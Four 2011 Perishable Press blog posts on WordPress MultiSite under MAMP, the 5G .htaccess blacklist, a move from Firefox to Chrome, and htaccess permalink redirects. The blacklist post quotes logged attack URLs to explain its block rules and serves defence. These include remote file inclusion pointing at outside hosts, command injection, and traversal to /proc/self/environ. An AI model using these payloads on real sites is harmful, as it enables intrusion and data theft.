Developing WordPress sites on a local MAMP server provides flexibility, privacy, and security throughout the development process. Setting up a WordPress environment on MAMP is definitely worth the effort, especially if you’re building and testing multiple sites using WordPress’ built-in MultiSite functionality.

The easiest and recommended way of setting up WordPress MultiSite is to use sub-directories. So when you create a new site named “business”, it will be located at http://localhost/business/. Here’s a mini-tutorial on how to use sub-domains for your network sites.

Edit Mac hosts file

After installing MAMP, change the default Apache port to 80. Next, add your sub-domains to the Mac hosts file. To do this, open Terminal and type “sudo pico /etc/hosts” (without the quotes), and then enter your password at the prompt. Use the arrow keys to scroll down to the end of the hosts file and add the following lines:

127.0.0.1       example.com
127.0.0.1       site1.example.com
127.0.0.1       site2.example.com

Edit these entries to match the domain and sub-domains that you want to create with MultiSite. Add as many sub-domains as needed, now or later. Then save the file and exit by typing Ctrl+O, Enter, and then Ctrl+X.

Edit Apache config file

The next step is to add virtual hosts to your Apache configuration file. Open /Applications/MAMP/conf/apache/httpd.conf in a text editor and scroll down to the line that says “#NameVirtualHost *”. Replace that line with the following code:

NameVirtualHost *
<VirtualHost *>
 ServerName example.com
 ServerAlias example.com *.example.com
 DocumentRoot "/Applications/MAMP/htdocs/"
 <Directory "/Applications/MAMP/htdocs/">
  Options Indexes FollowSymLinks Includes
  AllowOverride All
  Order allow,deny
  Allow from all
 </Directory>
</VirtualHost>

Change each instance of example.com to match your domain, save the file, and then Restart Apache by clicking “Stop” and then “Start” in the MAMP control panel.

Intall & configure WordPress

Now to install WordPress by placing the WordPress installation files in your /htdocs/ directory, creating the database via phpMyAdmin (@ http://localhost/MAMP/), and editing wp-config.php with your database credentials. Then complete the install process by accessing http://example.com/wp-admin/install.php in your browser.

Next, enable MultiSite by adding the following line to your wp-config.php file, just above the line that says, “That’s all, stop editing! Happy blogging”:

define('WP_ALLOW_MULTISITE', true);

With that in place, return to the WP Admin and click on Tools > Network. On this page you will now see an option to use sub-domains for your site addresses. Make sure that’s selected, check the other details, and then click the “Install” button to make it happen. Note that you’ll see a warning message that says, “Wildcard DNS may not be configured correctly!” – we can ignore this warning because we know our DNS is correct.

Finally, complete the steps outlined there on the “Enabling the Network” page (i.e., create a blogs.dir folder and add the required code snippets). After that, re-login to the Admin area and go to Network Admin > Sites > Add New to begin adding your sub-domain network sites.

That’s it! You’re now rolling tuff with WordPress subdomains on a local MAMP development server. The sky’s the limit!

© 2011 Perishable Press

Read more: http://perishablepress.com/wordpress-multisite-subdomains-mamp/

Protecting your website is more important than ever. There are a million ways to do it, and this is one of them. In fact, it’s what I use to protect Perishable Press and other key sites. It’s called the 5G Blacklist, and it’s something I’ve been working on for a long time. The idea is simple enough: analyze bad requests and block them using a firewall/blacklist via .htaccess. Now in its 5th generation, the 5G Blacklist has evolved into a considerably solid method of keeping your site safe and secure. How does it work? I’m glad you asked..

What “normal” site traffic looks like

I’m no expert in traffic analysis, security, or anything else for that matter, but I love to study error logs, and love even more stopping bad guys from spamming, cracking, and exploiting my site. Gots to keep it safe and secure, and a great way to do it is understanding what’s happening behind the scenes on your server.

“Normal” site traffic involves all sorts of requests and a variety of legitimate responses. Ideally, all URL requests for your site’s resources will return a favorable 200 OK status code: user requests something from your site, and the server is able to locate and send the resource back to the user. Hopefully you’re getting plenty of 200-OK responses, but that’s not the only thing happening on your server.

Normally you’re also going to see lots of other types of status codes, depending on how good (or bad) you’ve got things configured/set-up. Here are some examples of hopefully less-common things happening on your server:

• 301 Moved Permanently – resource moved and redirected permanently
• 302 Found – resource moved and redirected temporarily
• 400 Bad Request – server does not understand request
• 401 Unauthorized – resource is protected, request not authorized
• 403 Forbidden – server refuses to return the requested resource
• 404 Not Found – server can’t find the requested resource
• 410 Gone – requested resource is no longer available
• 500 Internal Server Error – something is screwed up with the server

..and so on, with all sorts of other responses included in typically lesser volumes. Even a cursory glance through your access/error logs will reveal all sorts of this type of server activity. Normal traffic includes a wide variety of these different responses, proportionally varied depending on your setup.

Relative proportion of top server responses for Perishable Press

The above diagram isn’t scientific, but a good representation of the relative amount of different types of traffic on the server. There’s actually way more 200-OK responses happening, but I didn’t want the graphic to be 7000px in height. Hopefully the idea is clear: you should be getting mostly 200-level responses, and also see a reasonable amount of other responses as well.

What “bad” traffic looks like

Notice in the above diagram that there are quite a few 403 and 404 errors. This is primarily due to the way I have things set up with the 5G Blacklist and other security measures. I spend probably way too much time tracking down and resolving 404s, which otherwise would be much more prevalent. The real key here is the relatively high volume of 403 responses. This is due to implementation of the 5G Firewall/Blacklist. Without it installed, the traffic pattern might look more like this:

How traffic might look without the 5G Blacklist

Without the 5G in place, there would be way more 404 errors and not nearly as many 403 errors. Why is this? It has to do with what the bad guys are doing when they hit your site, and how the 5G Blacklist works to block the bad stuff and keep your site safe. In general, it goes something like this:

1. Bad guys use a script to scan your website for vulnerabilities
2. The script requests anywhere from a few to thousands of different URLs
3. Virtually all of these malicious requests are targeting non-existent resources using weird-looking, abnormal URLs
4. The server can’t find any of these weird requests, so it sends back the default 404 response (most often)
5. As evil scripts continue to scan your site, they waste your server’s precious resources – memory, bandwidth, et al.
6. The more this happens, the more 404 requests are recorded in your error & access logs

In small volumes, as seen with typical traffic patterns, the default 404 response is perfectly fine, even helpful. If something doesn’t exist, that’s the clearest way of communicating the information. But these days, websites are being targeted and scanned almost constantly, and it seems to get worse every day. The problem with doing nothing and just rolling with the default 404 responses is that it leaves the door open to further exploits should a malicious scan actually find a weakness. For example:

1. Evil script scans your site and finds a hole at, say, http://example.com/some/crazy/1337/*%*/url
2. The server would normally return a 404 Not Found response, but won’t if the request can be met (i.e., exploit opportunity)
3. This allows the attacker to exploit the hole found via the requested URL

And even if the server responds with a 404, there is nothing stopping the attack script from requesting similarly structured URLs. So instead of a single 404 and done with it, malicious scans may continue freely requesting variations on the target URL, for example:

http://example.com/some/crazy/1337/*%*/url
http://example.com/another/crazy/1337/*%*/url
http://example.com/some/crazy/s0-1337/*%*()/url
http://example.com/some/crazy/1337/*%*/url?url=http://blahblah..
http://example.com/something/even/crazier/1337/*%*()/url?payload=

In my experience, it’s better to stop these requests as soon as possible, denying bad guys the chance to scan ad nauseum whatever they want. The key to doing this is understanding what’s happening on your server. Armed with that information, securing your site is a matter of analyzing server logs, matching malicious request patterns, and testing everything until your eyes glaze over and the migraine kicks in..

Or you can let someone else do it.

Building the 5G Blacklist

First of all, here’s how the 5G Blacklist works:

1. Include the blacklist code in your site’s root .htaccess file
2. Apache executes the .htaccess directives for each URL request
3. The 5G Blacklist blocks requests that include matching strings of evil garbage

That’s actually how just about any blacklist/firewall works. There are other ways to protect your site against malicious requests, but handling them at the server level with .htaccess (or the httpd.conf file) is better for performance than say using PHP to connect to the database, or using a WordPress plugin or similar. It’s also easier to install and manage: literally copy, paste, upload, and test. No configuring or editing required. When it’s time to update, just replace with the latest version. The trick is finding a current blacklist that’s been well-tested.

Evolution of the 5G

To see what it is, let’s look at where it’s been:

1. Ultimate htaccess Blacklist (Compressed Version)
2. 2G Blacklist: Closing the Door on Malicious Attacks
3. Perishable Press 3G Blacklist
4. The Perishable Press 4G Blacklist
5. 5G Firewall (Beta)

Along the way, I’ve explored a wide variety of different blacklist techniques. The 5G is the culmination of all these efforts, and will eventually be replaced by the imminent 6G Blacklist/Firewall. Currently the beta release is the latest version of the blacklist, and the official/final 5G will be posted soon.

Specific examples

Now let’s look at some specific examples of what we’re blocking with the 5G. I won’t go into depth as I did explaining the building of the 4G blacklist, but will try to cover a good variety of specific examples. Reading through should give you a solid understanding of how blacklists work in general, and a good overview as to what the 5G does to help protect your site.

The simple .css(

We’ll start with one of the most common types of malicious request, those that include the “.css(” character string. Here are some examples:

http://example.com/ip-detection-bad-seo/).css(
http://example.com/ip-detection-bad-seo/);f=e.css(
http://example.com/ip-detection-bad-seo/);this.elem.style.display=a:this.options.display;if(c.css(this.elem,
http://example.com/ip-detection-bad-seo/+b]):f===v.css(e,d):this.css(d,typeof%20f===

Notice the common pattern in these idiot requests: .css(. Instead of trying to block the user-agent or IP address for thousands of these requests, it’s more efficient to identify the best common pattern and block any matches. Here is a simple .htaccess directive that blocks all of these silly requests:

RedirectMatch 403 \.css\(

..but that’s some strong medicine, possibly interfering with legitimate requests. So you need to find balance between effective matching and the number of false positives. We’ll see an example of this just ahead. For now, notice how that single rule effectively blocks the endless stream of “.css(”-type malicious requests.

The ubiquitous mosConfig_absolute_path

Another commonly seen malicious scan involves the targeting of various URLs containing the character string, “mosConfig_absolute_path”. Most often, this is included in the query-string part of the URL, as seen in this fistful of examples:

http://example.com/include.pcchess.php?mosConfig_absolute_path=%7Cecho%20%22Origins%22;echo%20%22scanner%22;%7C
http://example.com/videodb.class.xml.php?mosConfig_absolute_path=%7Cecho%20%22Origins%22;echo%20%22scanner%22;%7C
http://example.com/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=%7Cecho%20%22Origins%22;echo%20%22scanner%22;%7C
http://example.com/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://youregypt.com/id/Ckrid1.txt??
http://example.com/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=%7Cecho%20%22Origins%22;echo%20%22scanner%22;%7C
http://example.com/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://youregypt.com/id/Ckrid1.txt??
http://example.com/components/com_moodle/moodle.php?mosConfig_absolute_path=http://www.fileden.com/files/2011/1/27/3068675//fx29id1.txt??

Again, you could spend a lifetime trying to block these requests using IP or user-agent, but it’s way easier and more efficient to simply block the most effective common pattern, which happens in 5G via this rule:

RewriteCond %{QUERY_STRING} (environ|localhost|mosconfig|scanner) [NC,OR]

This powerful directive also blocks several other strings, including infinite variations on mosconfig, such as mosConfig_absolute_path, as observed in the example URLs. This is why it’s important to carefully construct your .htaccess rules – many malicious requests target known software, and in doing so they include legitimate variables and parameters in the scanned URLs. The 5G is fine-tuned primarily for WordPress sites, so blocking requests for the mosConfig_ pattern is no problem; however, mosConfig_ is an actual part of Joomla, Mambo, and possibly others.

Directory path to heaven

How high can you go? That’s the question some malicious scripts are asking your server about its directory structure. Here’s a rather violent sequence of recursive-directory requests that hit my site recently:

http://example.com/press/2006/01/10/stupid-htaccess-tricks/index.php?ref=../../../../../../../../../../../../../../../../../../../proc/self/environ
http://example.com/press/2006/01/10/stupid-htaccess-tricks/index.php?ref=../../../../../../../../../../../../../../../../../../../proc/self/environ
http://example.com/comment.php?blog=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%00
http://example.com/press/2009/12/01/stupid-wordpress-tricks/comment.php?blog=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%00
http://example.com/components/com_extcalendar/admin_events.php?CONFIG_EXTLANGUAGES_DIR=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000
http://example.com/components/com_extcalendar/admin_events.php?CONFIG_EXTLANGUAGES_DIR=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000
http://example.com/dompdf/dompdf.php?input_file=http://www.ourl.in/1???
http://example.com/press/2006/01/10/index.php?ref=....//....//....//....//....//....//....//....//....//....//....//proc/self/environ%0000
http://example.com/press/2006/01/10/index.php?ref=../../../../../../../../../../../../../../../../../../../proc/self/environ%00
http://example.com/press/2006/01/10/index.php?ref=/proc/self/environ

Of course, the least common denominator for this type of request is “../”, which as far as I know is never present in legitimate URI requests. Typically the recursive directory string is included in the query string, so we can use mod_rewrite’s QUERY_STRING variable to block this type of malicious request. The 5G uses the following rule to do the job:

RewriteCond %{QUERY_STRING} \.\./ [NC,OR]

And just for fun, here’s an infographic that attempts to visualize what’s happening on the server for this type of recursive directory request:

A sort of virtual Inception

Don’t worry if that’s just confusing – it’s mostly hypothetical. The take-home message here is that you can block this type of evil request quite easily, with a single line of code.

Summary

Long posts deserve good summaries. Or something. Here’s a quick recap of the key points in this article:

• Websites are constantly scanned/attacked by malicious scripts
• Constant scanning and spamming wastes bandwidth and resources
• Decreased server performance negatively impacts rank, success
• It is possible to block a majority of malicious requests
• The 5G Blacklist is one way of protecting your website
• The 5G uses regular expressions to block bad requests
• These expressions match evil character strings in the URL
• Include the 5G in your site’s root .htaccess file
• Upload to your server, test thoroughly, and done.

I hope this article is informative and useful. If you have questions or suggestions please share them in the comments. Thanks :)

© 2011 Perishable Press

Read more: http://perishablepress.com/building-the-5g-blacklist/

I’ve used Firefox as my main browser for years. I’ve always known it to be fast and functional, but for some reason after version 3 or 4, things started getting not so good. For example, each major upgrade leaves me with fewer compatible extensions. And if you don’t remember to disable the auto-updates option, you may be stuck with your favorite extensions not working. I lost some great add-on functionality for the Fx4 -> Fx5 update, but continued using Firefox almost by force of habit.

Fighting Firefox

After however many months working with Fx5 and half of my extensions not working, Firefox did an auto-update to version 6. That wiped out another handful of add-ons, including a few that greatly improved my workflow. I looked into rolling back to Fx5 (or even 4), but it looked like a complete headache, so I cracked the whip and held fast with Firefox and half of my add-ons disabled due to incompatibility. As I worked with Fx6, I took advantage of the excellent tab-grouping functionality, but also noticed that performance seemed sluggish. I found myself clearing the browser and rebooting way too frequently, until it just got crazy and pages would take forever to load, even after disabling more add-ons. After fighting it for a few days, I finally called it quits with Firefox.

Switching to Chrome

I’ve been using Google’s Chrome as an alternate browser ever since it was first released as a PC/Win beta way back in September 2008. I played around with Chrome on my WinXP machine and really didn’t see what all the hype was about. Back then it was cool and fast, but really couldn’t match Firefox as a serious browser. So a few years later after switching to Mac, I started using Chrome for more than just random surfing and cross-browser testing. As Firefox began failing, Chrome proved to be a consistent, reliable browser that’s blazing fast. At some point, I realized it was time to retire Firefox and roll tuf with Chrome.

Customizing Chrome

Occasional surfing with Chrome is easy, but customizing for full-time use requires some time to get everything fine-tuned and dialed in. After importing my bookmarks and adjusting default browser settings, I went through my Firefox add-ons and found as many alternate Chrome add-ons that I could find. Surprisingly there were only a few extensions that I could not find for Chrome:

• Colorful Tabs – not a huge deal, but I really got used to it on Firefox
• Tab Mix Plus – provides further customization of tab behavior
• HTML inline validator – there are some available, but nothing that just works
• DownloadHelper – awesome for downloading just about any online video you can find

After searching and trying all sorts of possible alternatives to these Firefox add-ons, I finally threw in the towel and moved on with my life. Hopefully some of this stuff will be available soon. Also, although technically not an extension, Firefox’ Tab Grouping feature really is super-useful and improved my workflow considerably. So I would add it to the list, but there is a workable alternative which I discuss below.

Staring at Chrome with a confused look on my face

After several weeks using Chrome full-time (like all day, every day), I’ve noticed a few weird things that it does differently than.. well, just about any browser you care to name. Here are some examples of default functionality that could be better in Chrome:

• Set the default page for newly opened tabs – This is my biggest gripe: why do I need to run two different add-ons just to set the default page that opens for new tabs? It’s just weird.
• The bookmark manager kinda sucks – I was disappointed to see (and use) Chrome’s two-dollar bookmark script. Needs some serious work, or a good add-on replacement.
• Text highlighting – feels sloppy in Chrome. For example, try to highlight a line of text and the highlight background blue color stretches all the way to bottom of the element. Not a big deal, but worth mentioning because it’s probably an easy fix.
• Deeply nested options – IMHO some of the options and settings are nested way too deeply. I think a few more top-level or 2nd-level buttons would help people access mission-critical settings much faster/easier.

Admittedly, these are relatively minor issues, except the default-page for new-tabs thing is both a serious flaw and complete mystery. Well, not really. We all know why big companies make decisions, but having to install two add-ons to emulate something Firefox can do so easily is just an embarrassment.

My List of Chrome Extensions

Gotta say up-front that my strategy is minimalistic, so I only install an extension if I absolutely must have it. Although it’s amazing that Chrome stays fast and light regardless of how many add-ons you throw at it. Firefox I think struggles when the number of add-ons starts to climb. That said, here are my currently active Chrome extensions:

• 1Password Beta – add-on for the awesome 1password app
• Chromium Delicious plugin – handles delicious bookmarks for Chrome
• Eye Dropper – for grabbing colors from web pages
• New Tab Redirect! – required to set the default page for new tabs
• One Window – also required to set the default page for new tabs
• TooManyTabs for Chrome – good alternative to Firefox’ Tab Grouping feature, providing a great way to streamline workflow
• Validity – “Click the icon in the address bar or press Ctrl+Alt+V to validate the current page. Results can be seen in Chrome’s JS console.”

Amazingly, I get better functionality with Chrome using these eight extensions than I did with Firefox using 20 or more. With this handful of add-ons, I get a browser that’s responsive, intuitive, and blazing fast.

Other thoughts

I’ve really enjoyed using Firefox over the years, and will continue to use it as my “secondary” browser. It’s been a month now since switching and Chrome just keeps getting better. It’s fast, free, responsive, and has greatly streamlined my workflow. If you’re looking for an alternative to whatever browser you’re using, Chrome is it.

© 2011 Perishable Press

Read more: http://perishablepress.com/switching-from-firefox-to-chrome/

Okay, so Summer’s over, kids are back in school, and I’m finding all sorts of free time to continue writing and posting. One of my Summer projects involved updating & optimizing one of my old project sites, DeadLetterArt.com. It was basically a huge clean-up session that included lots of content consolidation and permalink restructuring. So that’s the topic of this post, how to use htaccess to optimize WordPress permalinks. I’ll go through some htaccess techniques and explain how they can improve your WordPress-powered site.

Change year/month/day permalinks to year only

The first thing I wanted to do is restructure the site’s permalinks. When I designed the site back in 2006, long URLs were all the rage, so I went with the convention du jour:

/%year%/%monthnum%/%day%/%postname%/

This permalink structure makes your WordPress URLs look like this:

http://deadletterart.com/2008/09/10/impertinent-art-review/
http://deadletterart.com/2011/06/18/california/
http://deadletterart.com/2011/06/19/join-the-empire/

And so on. Obviously these days long URLs are out and “shorter is better” is the current trend. After some thought, I decided to keep the four-digit year and remove the month and day numbers.

http://deadletterart.com/2008/impertinent-art-review/
http://deadletterart.com/2011/california/
http://deadletterart.com/2011/join-the-empire/

Not exactly bitly sized, but an improvement that results in a flatter directory structure, which they say is good for SEO. So there are numerous ways to make this change using htaccess, and after experimenting with several different approaches, I crafted this tasty little htaccess snippet:

# change year/month/day permalinks to year only
RedirectMatch 301 ^/([0-9]+)/([0-9]+)/([0-9]+)/(.*)$ http://deadletterart.com/$1/$4

To use this on your own site, change deadletterart.com to match your own domain. No further edits are required, but you should test thoroughly that everything is working properly. Note that we’re using a 301 status code for the redirects, so the search engines know that the URL changes are permanent.

Redirect removed pages

After optimizing the permalink structure, I consolidated a bunch of content, mostly pages that are no longer needed. Of course, whenever you delete a post or page on your site, the search engines panic, and seem to request those pages over and over and over again. That’s way too many 404 requests for my comfort, so I made sure that these missing pages are redirected to someplace useful, like the home page of the site. This is simple to do with a few lines of htaccess, as seen here for a handful of removed pages:

RedirectMatch 301 /feeds/?$ http://deadletterart.com/
RedirectMatch 301 /submit/?$ http://deadletterart.com/
RedirectMatch 301 /contact/?$ http://deadletterart.com/
RedirectMatch 301 /sitemap/?$ http://deadletterart.com/
RedirectMatch 301 /guestbook/?$ http://deadletterart.com/
RedirectMatch 301 /slideshow/?$ http://deadletterart.com/

These redirects share a common pattern, so we can optimize our code by rewriting this in single-line format:

RedirectMatch 301 /(feeds|submit|contact|sitemap|guestbook|slideshow)/?$ http://deadletterart.com/

Notice that we’re redirecting these page requests to the site’s home page, which you may edit to whatever URL you wish. This is good for SEO as it preserves any page rank that the removed pages may have accumulated. You can funnel that love wherever you would like, such as a sales page or other key resource.

Make dead pages go away

For pages that you would rather not redirect, but rather just declare them as officially “gone”, well there’s a code for that. As explained by Mark Pilgrim, you can return a 410 - Gone status code to all requests for pages that you’d rather forget about. For example:

RedirectMatch gone /nu\-
RedirectMatch gone /nuer
RedirectMatch gone /renu
RedirectMatch gone /nuwest
RedirectMatch gone /nustyle
RedirectMatch gone /big\-nu

As before, we can take advantage of mod_alias’ pattern-matching skillz to combine rules into a single line, like so:

RedirectMatch gone /(nuer|renu|nuwest|nustyle|big\-nu)

So with this technique, we’re telling search engines (and anything else) that these resources are literally gone. This is an effective way to eliminate pages from the search engines, so be careful. A note about the pattern-matching – it’s a little bit different than in our previous example. This example excludes the following characters from the match:

/?$

So this example will match any URL that begins with /nustyle, such as:

/nustyle-1
/nustyle-1-2-3
/nustylebananaspiders

Admittedly the term “nustyle” is rare enough to avoid unwanted redirects, but more common terms require some fiddling with the pattern-matching. Moving on..

Redirect entire category to another site

Another part of the site’s restructuring involved branching a category into a new site. At the DLa site, a friend of mine and I had started posting a series of weird, random images in a category named “Chunks”. After about 15 pages worth of these bizarre chunks, we decided it would be a better idea to move ’em to a new site and then continue posting from there.

To do this, we created a “Chunks” category at the new chunks site, and re-posted everything. After that, redirecting the entire category requires a single line of htaccess:

RedirectMatch 301 ^/category/chunks/?(.*)$ http://echunks.com/category/chunks/$1

That’s about as clean as it gets. The only trick when redirecting category (and other) URLs to other WordPress sites is getting the post permalinks to match exactly. It takes some time, especially if you tend to punctuate post titles with apostrophes and such. For some reason that I haven’t figured out, apostrophes were not included in permalink URLs at one site, but they were included in the other. Just a head’s up.

More stuff on the way

Stay tuned ;)

© 2011 Perishable Press

Read more: http://perishablepress.com/wordpress-permalinks-htaccess/